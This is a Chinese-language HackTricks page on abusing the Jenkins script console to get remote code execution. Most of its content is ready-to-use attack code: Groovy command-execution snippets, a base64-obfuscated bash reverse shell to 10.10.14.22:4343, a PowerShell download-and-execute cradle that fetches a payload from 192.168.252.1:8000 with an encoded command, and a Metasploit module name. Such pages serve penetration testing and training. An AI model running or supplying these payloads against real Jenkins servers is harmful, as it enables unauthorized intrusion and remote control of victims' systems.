Jenkins RCE with Groovy Script

支持 HackTricks

Jenkins RCE with Groovy Script

这比在 Jenkins 中创建新项目要安静得多

  1. 转到 path_jenkins/script

  2. 在文本框中输入脚本

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

你可以使用以下命令执行: cmd.exe /c dir

linux 中你可以这样做: "ls /".execute().text

如果你需要在文本中使用 引号单引号,你可以使用 """PAYLOAD"""(三重双引号)来执行有效载荷。

另一个有用的 groovy 脚本 是(替换 [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

在Linux中的反向Shell

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Windows中的反向Shell

您可以准备一个带有PS反向Shell的HTTP服务器,并使用Jeking下载并执行它:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

您可以使用此脚本来自动化此过程。

您可以使用MSF获取反向shell:

msf> use exploit/multi/http/jenkins_script_console
支持 HackTricks

Last updated